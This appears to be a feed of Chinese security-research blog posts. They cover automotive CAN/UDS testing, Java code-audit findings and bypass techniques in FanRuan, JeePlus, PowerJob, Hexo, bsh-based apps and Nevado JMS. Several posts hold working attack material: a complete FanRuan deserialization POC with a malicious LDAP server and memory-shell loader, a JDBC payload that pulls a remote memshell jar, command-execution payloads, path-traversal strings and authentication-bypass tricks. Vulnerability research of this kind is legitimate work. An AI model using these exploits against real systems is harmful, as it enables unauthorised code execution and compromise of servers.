CAN_FD DOS：通过一直发送高优先级报文导致拒绝服务

CAN抗重放测试：没有实车时，审计报文，查看会不会存在重放漏洞，有实车时，重放报文查看车的重放效果

2E服务未授权写入测试：通过2E篡改DID数据，22请求查看篡改后的数据

27服务测试： 了解了uds安全访问诊断流程，先是1、客户端发送27 01请求种子，然后2、服务端返回67 01 [种子]， 3、客户端使用收到的种子以及一些事先约定的算法，生成一个对称密钥（会话密钥）使用27 02 + 密钥发送，4、服务端收到客户端发送的密钥后，使用预共享的密钥生成算法（通常是与客户端相同的算法），计算出相同的对称密钥，如果密钥是对的，响应67 02 + 密钥，ECU自动解锁，接下来就积极跟客户端通信，如果不对会返回否定响应

安全刷写测试： 上位机是本地校验，通过反编译调试绕过本地校验进行固件刷写

CAN FUZZ

等等

ECU刷写

截至目前见过刷写原理（通过查看OTA升级日志）其实就是上位机通过发送2E来写入数据

诊断服务参考：

UDS的安全访问服务(0x27)与CAPL实现自动处理
https://blog.csdn.net/u013391094/article/details/130911357

安全访问（ISO14229系列之27服务）
https://blog.csdn.net/weixin_44536482/article/details/93340252

]]> 车联网车联网某平台Groovy任意代码执行思考 /2023/11/14/109/ 原理小分析

exeGroovyScript方法传入了两个参数，其中scriptParameters是base64编码的json格式

在exeGroovyScript方法中，又调用了exeGroovyScript方法

exeGroovyScript方法里会将传入的参数做解析

parse方法：

具体解析操作发生在CompilationUnit类，由于太难懂了就不继续往下看CompilationUnit类了。大概意思就是CompilationUnit类会根据传入的对象解析生成AST（抽象语法树，对象的各个属性用节点来表示），然后根据AST生成对应的字节码。回到exeGroovyScript方法

此时的shell就是生成的字节码文件Script[int].class，它是Script的子类，生成的文件会重写run方法

根据代码流程，Script[int].class的入口方法即run方法，生成的class大概如下

.groovy脚本

编译的class

言归正传，最后InvokerHelper.createScript会创建Script[int].class的实例，具体看到createScript方法

最终newScript会根据Binding提供的上下文信息，获取一个有参构造函数创建实例

纵观源码，发现其最后就是反射动态调用

利用手法

根据整理，Groovy的命令执行大概有3种利用

1、可双可单参数写法
groovy.lang.GroovyShell parse 先解析语句
org.codehaus.groovy.runtime.InvokerHelper createScript 再运行
 
2、单参数写法
groovy.lang.GroovyShell evaluate 直接执行
 
3、单参数写法2
groovy.lang.GroovyShell parse 先解析
groovy.lang.Script run() 再运行

首先说下参数语法

execute()用到的是Runtime.getRuntime().exec()，

text是从Process对象的输入流中读取文本数据并返回

第一种用法

也是前面案例的用法，Payload不变，向Binding传递一个Map对象

可以看到如果payload是"whoami".execute().text，那么hashMap可为空，执行不受影响，双引号内的字符串将以参数的形式传递到execute()进行执行

另外因为传递的是hashMap对象，所以这个payload也可以使用占位符的方式进行利用

原因是在代码Constructor constructor = scriptClass.getConstructor(Binding.class);中，Binding.class指定了Constructor的参数类型，即Binding类型。

在constructor.newInstance(context)中，会使用context对象作为参数创建实例。如果没有找到相应的构造方法，就会执行script = (Script)scriptClass.newInstance();，然后再通过script.setBinding(context)设置context,也就是说，map里的value会被当做scriptClass的参数执行

从编译的class中可以看到，是有Binding类型的有参构造函数的

URL中可以这样表示：

1	`A=x.execute().text&B={“x”:”whoami”}`

第二种用法

第三种用法

结尾

所以在审计时可以关注三种用法场景，三种用法都可以执行java代码或者groovy语法

]]> 代码审计代码审计帆软反序列化黑名单绕过tips /2023/09/18/103/ 使用LdapAttribute绕过帆软黑名单

最新的11版本已经有关于LdapAttribute的黑名单了，本文给出的是根据黑名单构造的以前版本绕过

这里使用cc4的TreeBag替换BadAttributeValueExpException构造LdapAttribute利用链，参考：
二次反序列化POC构造 - https://mp.weixin.qq.com/s/UhlFXtRW4Ko38U8jP0Z99Q

POC生成类：

package main;

import com.fr.third.fasterxml.jackson.databind.node.POJONode;
import com.fr.third.org.apache.commons.collections4.bag.TreeBag;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import util.LdapServer;
import javax.naming.CompositeName;
import javax.naming.directory.BasicAttribute;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;

/**
 * @Author:novy
 * @Date:12:06 2023/9/18
 * @Version 1.0
 **/

@SuppressWarnings("all")
public class LdapAttrbuteAttck {

 private static void modifyTreeMapKey(Object node, String targetKey, Object newKey)
            throws NoSuchFieldException, IllegalAccessException {
        if (node == null) {
            return;
        }

        // 获取节点的左子节点、右子节点和键
        Field leftField = node.getClass().getDeclaredField("left");
        Field rightField = node.getClass().getDeclaredField("right");
        Field keyField = node.getClass().getDeclaredField("key");

        leftField.setAccessible(true);
        rightField.setAccessible(true);
        keyField.setAccessible(true);

        Object leftNode = leftField.get(node);
        Object rightNode = rightField.get(node);
        String key = (String) keyField.get(node);

        // 如果找到目标键，将其修改为新键
        if (targetKey.equals(key)) {
            keyField.set(node, newKey);
        }

        // 递归遍历左子树和右子树
        modifyTreeMapKey(leftNode, targetKey, newKey);
        modifyTreeMapKey(rightNode, targetKey, newKey);
    }

    public static void setFieldValue(Object obj,String fieldName,Object value)throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

    public static void main(String[] args) throws Exception {
    //先到LdapServer启动ldap服务，更改getGadgetObj方法的ip后，再执行该方法生成poc
            CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
            ctClass.removeMethod(writeReplace);
            ctClass.toClass();

            POJONode node = new POJONode(getGadgetObj());
            ClassComparator classComparator = new ClassComparator("org.freehep.util.VersionComparator");
            TreeBag treeBag = new TreeBag(classComparator);
            treeBag.add("1");
            Class clazz = treeBag.getClass();
            Class abstractBagClass = clazz.getSuperclass();
            Field mapField = abstractBagClass.getDeclaredField("map");
            mapField.setAccessible(true);
            TreeMap<Object,Integer> treeMap = (TreeMap<Object, Integer>) mapField.get(treeBag);
            // 使用反射获取 TreeMap 的根节点
            Field rootField = TreeMap.class.getDeclaredField("root");
            rootField.setAccessible(true);
            Object root = rootField.get(treeMap);
            modifyTreeMapKey(root,"1",node);
            
            FileOutputStream fileOutputStream = new FileOutputStream("frldap.ser");
            GZIPOutputStream gzipOutputStream = new GZIPOutputStream(fileOutputStream);
            ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream);
            oos.writeObject(treeBag);
            oos.close();
            System.out.println("Generated:frldap.ser");
    }
    public static BasicAttribute getGadgetObj(){
        try{
            Class clazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
            Constructor clazz_cons = clazz.getDeclaredConstructor(new Class[]{String.class});
            clazz_cons.setAccessible(true);
            BasicAttribute la = (BasicAttribute)clazz_cons.newInstance(new Object[]{"T"});
            Field bcu_fi = clazz.getDeclaredField("baseCtxURL");
            bcu_fi.setAccessible(true);
            //改成启动ldap服务的ip
            bcu_fi.set(la, "ldap://127.0.0.1:1389/");
            CompositeName cn = new CompositeName();
            cn.add("a");
            cn.add("b");
            Field rdn_fi = clazz.getDeclaredField("rdn");
            rdn_fi.setAccessible(true);
            rdn_fi.set(la, cn);
            return la;
        }catch (Exception e){
            e.printStackTrace();
        }
        return null;
    }
}

LDAP服务：

package util;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;

/**
 * @Author:novy
 * @Date:12:05 2023/9/18
 * @Version 1.0
 **/

@SuppressWarnings("all")
public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) {
        int port = 1389;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor());
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Ldap Server Start");
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    //重写服务端连接上就发送响应数据
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();

            Entry entry = new Entry(base);
            entry.addAttribute("javaClassName", "T");
            try {
                //根据需求自定义getData()方法，可以使用给出的getTemplatePayload，或者改成内存马
                entry.addAttribute("javaSerializedData", JacksonTemplatePayload.getData());
                result.sendSearchEntry(entry);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
                System.out.println("Send SerializedData");
                System.out.println("Sent '" + base.toString() + "' to the LDAP service");
                System.out.println("Detailed data: " + entry);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
}

服务端恶意数据操作类：

package util;

import com.fr.third.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import main.SignedObjectAttck;
import java.io.*;
import com.fr.third.org.apache.commons.collections4.bag.TreeBag;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.zip.GZIPOutputStream;

/**
 * @Author:novy
 * @Date:12:08 2023/9/18
 * @Version 1.0
 **/

public class JacksonTemplatePayload {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static byte[] getTemplatePayload() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("T");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    static {

    }

     private static void modifyTreeMapKey(Object node, String targetKey, Object newKey)
            throws NoSuchFieldException, IllegalAccessException {
        if (node == null) {
            return;
        }

        // 获取节点的左子节点、右子节点和键
        Field leftField = node.getClass().getDeclaredField("left");
        Field rightField = node.getClass().getDeclaredField("right");
        Field keyField = node.getClass().getDeclaredField("key");

        leftField.setAccessible(true);
        rightField.setAccessible(true);
        keyField.setAccessible(true);

        Object leftNode = leftField.get(node);
        Object rightNode = rightField.get(node);
        String key = (String) keyField.get(node);

        // 如果找到目标键，将其修改为新键
        if (targetKey.equals(key)) {
            keyField.set(node, newKey);
        }

        // 递归遍历左子树和右子树
        modifyTreeMapKey(leftNode, targetKey, newKey);
        modifyTreeMapKey(rightNode, targetKey, newKey);
    }

    public static byte[] getData() throws Exception {
        CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        //Attck.evil是base64编码后的内存马
        byte[] code = Base64.getDecoder().decode(Attck.evil);
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "z3eyond");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        POJONode node = new POJONode(obj);
        ClassComparator classComparator = new ClassComparator("org.freehep.util.VersionComparator");
        TreeBag treeBag = new TreeBag(classComparator);
        treeBag.add("1");
        Class clazz = treeBag.getClass();
        Class abstractBagClass = clazz.getSuperclass();
        Field mapField = abstractBagClass.getDeclaredField("map");
        mapField.setAccessible(true);
        TreeMap<Object,Integer> treeMap = (TreeMap<Object, Integer>) mapField.get(treeBag);

        // 使用反射获取 TreeMap 的根节点
        Field rootField = TreeMap.class.getDeclaredField("root");
        rootField.setAccessible(true);
        Object root = rootField.get(treeMap);
        modifyTreeMapKey(root,"1",node);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(treeBag);
        return byteArrayOutputStream.toByteArray();
    }

//    public static void main(String[] args) throws Exception {
//        System.out.println(Base64.getEncoder().encodeToString(getData()));
//    }
}

]]> 代码审计代码审计 By pass security check: do not allow ../ in path /2023/07/25/102/ In January, Hexo fixed an arbitrary file read vulnerability:

if (!match) return;

 const path = match[2];

 // security check: do not allow ../ in path
 if (path.includes('../')) return;

 lang = lang || extname(path).substring(1);

 const src = join(ctx.source_dir, codeDir, path);

 const title = match[1] || basename(path);
 const caption = `<span>${title}</span><a href="${posix.join(ctx.config.root, codeDir, path)}">view raw</a>`;

 return exists(src).then(exist => {
   if (exist) return readFile(src);

After a brief thought, I found that this safety check is incomplete,that is to say, I can bypass here

In windows, I can use ..\ bypass:

1	`{% include_code ..\..\..\..\..\..\..\..\..\..\..\test.txt %}`

The Linux file system does not support reading backslashes, theoretically it can be read through ..\/..\/..\/..\/..\/etc/passwd,but I did not verify successfully on Linux. This operation was only verified successfully in the Windows environment.

So my suggestion is not only to do not allow ../ in path, also to do not allow ..\ in path, or change ../ to .. and file protocol.

The issue is currently being resolved: https://github.com/hexojs/hexo/pull/5251

]]> 代码审计代码审计 JeePlus某版本JDBC反序列化 /2023/07/07/108/ 首先在依赖中发现目标使用了shiro 1.4

已知下列请求不用鉴权

WEB-INF/classes/spring/spring-context-shiro.xml

在过滤器中，<url-pattern>/**</url-pattern>配置会匹配所有url（匹配当前文件夹下文件和子文件夹下文件），比如/api/aaa、/api/aaa/aaaa、/api/aaa/aaaa/aaaa.jsp等等。众所周知，../可以跨目录，所以这种情况下可以使用/api/../admin来跨一级访问admin页面，因为/api/../admin也属于/api/**的范围。

当../被过滤或者有waf拦截时，URL中有一个保留字符分号(;)，主要作为参数分隔符进行使用，对于request.getRequestURL()和request.getRequestURI()来说，使用&连接的参数键值，对其来说是获取不到的，但是参数分隔符(;)及内容是可以获取到的，所以也可以使用..;/、..;a/等等来绕过。

对于..;/的更多用法，可以看

https://xz.aliyun.com/t/10799

回到配置文件中，有关/**的配置可以用作权限绕过

在shiro中，@RequiresPermissions是用来分配用户角色权限的，接口会按照注解的值来决定哪个角色能访问当前请求

当包含有该注解配置了属性值时，即使利用了..;也会无法绕过，因为..;时shiro获取到的attribute是anon，与注解的属性不匹配：

所以要找没有RequiresPermissions注解的接口

经过查找，发现executeSql方法没有RequiresPermissions注解

在executeSql方法中，sql语句会传进数据库进行执行

但是在传进执行前，sysDataSource对象会先被传进MultiDBUtils类的init方法进行初始化，以便后面的sql语句能够有引擎执行，init方法：

初始化完成后就将dataSource设置为jdbc引擎以供后方的sql执行使用

因为在executeSql方法中，SysDataSource对象是被当作参数来传进使用的

所以根据SysDataSource的各参数构造数据源即可利用

自带的mysql驱动刚好版本存在漏洞

利用链同样自带：

CbNOC、cc9、10、11

搭配权限绕过利用：

1	`jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&dbUserName=yso_CommonsCollections11_calc`

打内存马思路

内存马打包成jar，放在开启web服务的服务器上，使用payload

1	`yso_CommonsCollections11_remote-code-http://web/POC.jar#MemshellClass`

其中http://web/POC.jar#MemshellClass可控，MemshellClass是内存马类名

]]> 代码审计代码审计 javaweb中的权限绕过 /2023/07/05/101/ 场景一：身份信息绕过

案例一：Cookie伪造

1、身份伪造

此类绕过主要关注user信息是否可以构造

查看filter

首先查看byToken方法

获取参数token

在getDataFromToken方法中对token进行解析，得到第一个.前面的base64编码参数并进行解码

跟进cleanToken得出参数格式为base64编码的xxxx:xxxx（可能是多位），替换后变成xxx.xxxx

在解析完token后就将其封装到LoginUserHolder对象，流程可以看到这里是直接绑定身份信息，没有其他认证，那么只要往下看参数的格式，想办法构造即可绕过

为了查看token的格式，跟进set方法

LoginUser对象类型的参数，跟进LoginUser即可得到参数并构造

id=1&dlh=2&name=3&orgid=4&org=5

将其base64编码即可作为token参数传递：

token: aWQ9MSZkbGg9MiZuYW1lPTMmb3JnaWQ9NCZvcmc9NQ==:xxxxxxx

再看bySession方法

在decode方法中会先对参数做aes解密然后再使用json解析，由此得出参数是json格式，Aes密钥硬编码

这里比较简单，由于密钥硬编码，且知道了格式是json，直接用CipherUtil的加密方法对参数进行加密就行了，这个属于硬编码利用绕过

KEY_USERHOLDER_INFO: aWQ9MSZkbGg9MiZuYW1lPTMmb3JnaWQ9NCZvcmc9NQ==

2、密钥硬编码

此类绕过关注点在于认证时使用了jwt之类的加密token认证，然后加密密钥硬编码在了代码或配置文件里，利用的前提需要跟进认证实现查看，如果只判断了解密后不为空token就可以使用那就是存在漏洞可以利用，经典案例：https://forum.butian.net/share/973 SpringBlade框架JWT认证缺陷漏洞、nacos硬编码漏洞

案例二：Map的利用

此类绕过关注点在于put与get的条件判断。可以把attribute当成一个map集合，集合有k跟v两个参数，v是k的值。首先要了解假如是单纯的put，则属性是存在request域，request属性是一次性的。如果带上@SessionAttribute注解或者使用了getSession方法，就同时存在session域，session属性只有销毁或者重启才会失效，以下是attribute方法的利用

首先看例子中（/index1）的判断，获取session域里user的属性是否为空，不为空就放行请求

这时候就可以查找user被set且可以未授权访问的地方，如图所示

当访问/index2时session域里就会写入一个user对象，访问请求会响应一个包含user信息的cookie

把cookie替换到请求，再访问一次index1，此时获取到的user不为空就会通过判断，放行请求

案例三：异常绕过

此类绕过是利用默认的布尔值以及catch模块的位置进行绕过

查看过滤器的实现，当buff返回true时就放行请求

查看buff方法的实现，permi初始化是true

注意此处try catch的位置

在try里，请求传入Req2Json.parse做json解析，当解析异常时就会直接走到catch位置，然后返回布尔值，因为初始化是true，所以返回的也是true。所以这个时候再找一个文件上传的的请求，json解析异常时返回true即可进行绕过。

案例四：前端认证绕过

此类关注点在于前端解析后端的响应包，利用响应状态来进行绕过

查看登录实现，在loginAction方法中，只是对验证账号密码后做出响应内容的处理，没有进一步的操作实现，相当于点击登录只会提示成功或失败，没有其他动作

但是实际登录却的确有跳转的动作，在代码中无法看到登录后跳转的处理代码

针对这个问题有三个思路：
1、其他认证类filter对/*请求有专门的响应判断；
2、其他认证类filter对/*请求有专门的cookie判断
3、其他地方有针对这个登录做专门的响应判断

但找了所有过滤器都找不到1和2的实现，从第三点入手，在登录口查看源代码找登录相关的流程，发现原来是在前端做了响应判断

解析后端返回的响应，当login字段的值是true时就会将账号密码设置成cookie的值然后跳转到后台管理页面，所以此处只需要抓包改响应包里的login值为true即可绕过

场景二：配置绕过

案例一：springboot yml配置

application.yml配置文件，有时候像图中有关拦截器的属性配置也可以利用，具体还是要看拦截器的实现。

在拦截器中会获取URI进行判断，当符合条件就放行请求

所以请求结尾加上;.jpg等即可绕过，低版本的springboot还可以利用/admin/../绕过（要注意的是假如是低版本的springboot（小于等于2.3.0.RELEASE），则/**可以利用，否则springboot无法匹配到路由）

案例二：排除绕过

1、白名单利用

此类绕过主要关注当配置了某些请求是校验白名单时，可以从处理这些请求的Action中查找漏洞。

查看处理所有.do接口的过滤器

doFilter判断登录状态

isPermitAdmin方法：

这些接口中都存在注入，找到对应的类即可看到详情

2、filter绕过

此类绕过是按照web.xml中filter的定义来进行利用，当配置了映射时，处理了该映射的filter以及servlet没有对请求做校验就可以直接访问，与白名单利用的手法大同小异

案例三：权限管理

1、第三方组件、框架

此类关注是类似shiro、低版本框架等绕过。

需要注意的是在shiro中，@RequiresPermissions是用来分配用户角色权限的，接口会按照注解的值来决定哪个角色能访问当前请求，如图

当包含有该注解时，即使利用了..;也会无法绕过，因为..;时shiro获取到的attribute是anon，与注解的属性不匹配

所以要找没有RequiresPermissions之类的角色分配注解的接口才可以进行利用。

2、自定义注解

有时候开发会自己写权限注解接口@interface，但此类注解实现还是会依赖WebMvcConfigurer添加拦截器，拦截实现一般在Interceptor的preHandle方法，所以此类关注点可以看有没有加特别注解的controller（如果有低权限的账号可以查看注解相关属性，进行越权利用，也可以具体看注解的实现，看是否存在可利用的组合漏洞），或者看preHandle里有无可利用的点，如图

对应的是开发自实现的一个接口，注意required是true

现在找项目的拦截器，全局搜Interceptor，在preHandle方法中可以看到对请求的处理

可以看到preHandle方法里用到了刚刚的接口做权限判断，当处理当前请求的业务逻辑中存在@PassTokenAnno就会跳过登录认证，进行未授权访问

其他：

利用类似hop by hop逐跳之类特性跟系统里其他部分组合起来进行绕过，参考 BIG-IP认证绕过漏洞

场景三：过滤绕过

案例一：条件判断

1、以xx结尾判断

此类绕过主要关注条件中以xx为结尾的利用

查看Filter条件判断，在获取到URI后进入条件

当url以静态资源为结尾时就放行请求，所以URL后面加上;.jpg即可绕过登录

2、以包含xx判断

该类绕过关注点在于判断参数是否包含xxxx，或者是xxxx来进行绕过

查看认证过滤器UserAuthenticationFilter类

在过滤器中，初始化变量，将刚刚的白名单添加到fileTypeList

在dofilter中使用了request.getRequestURI();来做校验，当请求url里包含有白名单字符就会放行请求

所以只要在URL结尾加上;.xx即可绕过

案例二：正则匹配判断

1、匹配返回true

此类绕过关注点是match的用法，当匹配到目标时就返回true的利用

查看filter

antMatchs方法中，只要访问的url中出现白名单的值就能符合条件

excludesAntMatch白名单

/**（包括/**/*.*）的均可利用

3、matcher特性绕过

此类关注点在于在Java中的正则默认情况下.并不包含\r和\n字符来进行利用，参考CVE-2022-32532/CVE-2022-22978

]]> 代码审计代码审计代码审计快速入门2023修改版 /2023/07/03/112/ PDF：
代码审计总结_JAVA代码审计快速入门

]]> 代码审计代码审计 PowerJob Remote Command/Code Execution /2023/07/02/100/ PowerJob本身没有鉴权网关，所以所有接口都可以未授权操作

首先看JobController的runImmediately方法负责执行任务，

任务调度的处理过程有点复杂，详情看

https://blog.csdn.net/qq_42985872/article/details/128500740

定位到类：WorkerActor

onReceiveServerScheduleJobReq方法负责处理runjob节点的请求。此时空属性的ServerScheduleJobReq对象会传递进入下一级onReceiveServerScheduleJobReq方法

onReceiveServerScheduleJobReq方法会根据任务类型进入不同的处理，轻量级任务进入LightTaskTracker

而重量级任务则会进入HeavyTaskTracker

跟进isLightweightTask方法查看如何判断的级别

从isLightweightTask方法得知，单机、固定频率、固定延迟模式都属于轻量，其他则是重量

先跟进轻量，LightTaskTracker#create

请求传进LightTaskTracker对象：

在构造方法中做了大量的初始化设定，具体为：会使用父类对请求先做一次参数初始化

此时的req是包含有控制台传来的各项参数，继续往下走，constructTaskContext方法会将各项参数封装到taskContext对象

随后进入到load方法加载控制台传来的ProcessorInfo

在PowerJobProcessorLoader#load方法中，ProcessorInfo信息又被传进pf.build方法

pf是包含 BuiltInDefaultProcessorFactory、JarContainerProcessorFactory的对象

在load流程里，会根据传进的处理器类型进入不同的Factory

得到处理器参数：BUILT_IN、EXTERNAL

分别查看两个Factory

JarContainerProcessorFactory：

根据注释得知该类是从容器加载class，从传进的参数中获取容器id以及容器里的全限定类名，格式大概是这样id#xx.xxx.xxx，当processorType是EXTERNAL时就会用到这个Factory

BuiltInDefaultProcessorFactory：

BuiltInDefaultProcessorFactory是内建的默认处理器工厂，可以通过全限定类名加载处理器，在build方法中，会根据传进的ProcessorInfo信息来实例化对象，即ProcessorInfo参数就是全限定类名。当processorType是BUILT_IN时就会用到这个Factory

load方法走完了，回到构造方法LightTaskTracker中，实例化后的ProcessorInfo信息被封装到processorBean对象

在初始化完所有信息后，进入到processTask方法，其会在线程池中完成被调用

跟进processTask方法，参数传进process

因为在此之前设置了当前线程上下文加载器

所以此时被实例化的processorBean会使用到前面实例化时设置的classloader加载

进入到

CommonBasicProcessor#process

该类是一个通用处理器类

process方法中，将包含有任务参数、任务instanceId等信息的TaskContext对象传进process0方法

process0方法属于AbstractScriptProcessor类，该类属于通用脚本处理器类，所有脚本插件都要继承该类。在process0方法中，会使用prepareScriptFile方法来根据控制台传来的内容生成脚本文件，文件名是instanceId

跟进getScriptName方法发现是一个抽象方法

所在的抽象类由多个插件类继承，用于应对不同系统的调用。在powerjob本身中自带有多个脚本处理器（插件）

被重写的getScriptName方法大同小异，均返回对应系统的脚本文件名：cmd_instanceId.bat/shell_instanceId.sh

回到prepareScriptFile方法，最终把参数写入脚本文件

回到process0方法，方法里会调用到抽象方法getRunCommand，根据子类重写的方法返回来判断要调用哪个应用来执行脚本。

也就是说，当控制台传进的processorInfo（即封装后的processorBean）是CMDProcessor类时，getRunCommand则是CMDProcessor里重写的getRunCommand方法，返回的是cmd.exe，否则就是剩余的几个Processor（python、sh、powershell）

最终由ProcessBuilder完成对getRunCommand方法返回值的调用，scriptPath被当成返回值的参数进行执行。漏洞由此产生

剩下的HeavyTaskTracker.create不看了，可能更复杂

验证：

根据saveJob方法里jobInfoDO的信息构造参数保存任务，其中jobParams参数是恶意命令，最后使用runImmediately方法执行任务就会触发漏洞

1	`src/main/java/tech/powerjob/server/web/controller/JobController.java`

保存任务

查看实体类，可以看到有一个处理器选项

Text

1	`SaveJobInfoRequest`

Text

1	`ProcessorType类`

V3.X及以前

在V3及以前版本中可以直接通过shell处理器的方式执行系统命令，但仅限于linux

新建任务时，designatedWorkers可指定机器，不指定机器默认全部执行

可以查看所有机器地址

processorInfo的参数为命令执行参数

搜索刚刚创建的任务关键字得出任务id

运行任务id得到结果id

根据id获取命令执行结果

V4.X

v4以后的处理器都是通过插件的方式调用，此时双系统都可以执行命令

windows：

通过内置的全限定类名执行

保存任务后，查询任务id

运行得到的id

linux：

ShellProcessor

python:

PythonProcessor
该脚本处理器专门处理python_%d.py，可以往py里写入任意代码执行，但需要环境有python环境

powershell:

PowerShellProcessor

以上都可以通过查询执行成功响应的id来查看命令回显

tips

假如通过v3的方式在v4增加了任务，可以尝试通过接口转换执行

但需要目标有这个依赖

Text

<dependency>
    <groupId>tech.powerjob</groupId>
    <artifactId>powerjob-official-processors</artifactId>
    <version>4.3.3</version>
</dependency>

]]> 代码审计代码审计一个bsh任意代码执行 /2023/05/18/107/ Springboot项目，看到目标使用了bsh.1.2b7

直接使用辅助工具查找bsh.Interpreter的eval方法

在一个工具类中发现一个执行代码的地方，往下查看，这个execJavascript方法由isElse方法调用

通过查找isElse方法，发现由一个Controller调用

因为传递的类型是 List<Map> list，所以参数格式是

1	`[{"formulaContent":"","formulaCn":""}]`

拼接url发送请求即可利用

1	`[{"formulaContent":"exec(\"calc\")","formulaCn":"hi!woshishabi"}]`

本地验证：

]]> 代码审计代码审计 Nevado JMS反序列化审计tips /2023/04/01/95/

http://nevado.skyscreamer.org/

Nevado JMS 是 Amazon SQS 的 JMS 驱动程序

流程分析

按照文档写一个消息接收

public class App {
    public static void main(String[] args) throws Exception {
        new ClassPathXmlApplicationContext("applicationContext.xml");
        NevadoConnectionFactory connectionFactory = new NevadoConnectionFactory();
        NevadoConnection connection = connectionFactory.createConnection();
        NevadoSession session = connection.createSession(false, NevadoSession.AUTO_ACKNOWLEDGE);
        NevadoQueue queue = session.createQueue("test");
        NevadoMessageConsumer consumer = session.createConsumer(queue);
        NevadoMessage message = consumer.receive();
        //        if (message instanceof TextMessage) {
        //            TextMessage textMessage = (TextMessage) message;
        //            System.out.println("Received message: " + textMessage.getText());
        //        }        
        connection.close();
    }
}

在上面的流程中，会创建一个test队列传到receive方法，具体为：

队列“test”传进createConsumer方法，在createConsumer方法时被传递进了NevadoMessageConsumer对象

在构造函数NevadoMessageConsumer中，因为传进的是queque类型，所以会进入else，此时_destination就是队列test

回到消息接收中，receive()方法会监听队列，从队列中接收消息

继续跟进getUnfilteredMessage方法查看实现流程

getUnfilteredMessage方法是过滤被消费的消息，如果接收模式是2，就会先从缓存读取

当不满足条件时就会调用this._connection.getSQSConnector().receiveMessage来接收队列消息，然后再将被接收过的消息添加到缓存中

具体为：

已知初始化时_connection是NevadoConnection对象

getSQSConnector方法返回的是SQSConnector

这个接口封装了 Amazon SQS 相关的 API 调用，receiveMessage方法是接收消息

所以从代码分析，当不满足条件时，就会接收从Amazon SQS发送的队列消息

跟进实现receiveMessage方法的实现类

在receiveMessage方法中，会将取出的队列传进receiveSQSMessage方法进一步接收队列中的消息

跟进receiveSQSMessage方法

此时receiveSQSMessage方法返回的就是test里面的消息，返回receiveMessage

接收到队列消息后，将消息等参数传进convertSqsMessage方法

在convertSqsMessage方法中，会根据传进的destination类型来做不同的消息取出动作

随后将取出的消息传进deserializeMessage方法做反序列化

跟进deserializeFromString

在deserializeFromString方法中，会对传进的消息做一次base64解码操作，然后再使用Hessian2Input对象进行反序列化。

根据代码的流程，如果要进行漏洞利用，acknowledgeMode就必须不等于2且transacted是false才能进入else走到反序列化功能，如开头所写，NevadoSession的模式分为4种：

int AUTO_ACKNOWLEDGE = 1;
int CLIENT_ACKNOWLEDGE = 2;
int DUPS_OK_ACKNOWLEDGE = 3;
int SESSION_TRANSACTED = 0;

且因为反序列化使用的是Hessian2Input，所以得知序列化的数据得是Hessian格式

该组件提供了一个反序列化工具类SerializeUtil.class，可以直接用来序列化恶意数据

public static String serializeToString(Serializable serializable) throws IOException {
    byte[] data = serialize(serializable);
    return new String(Base64.encodeBase64(data));
}

public static byte[] serialize(Serializable serializable) throws IOException {
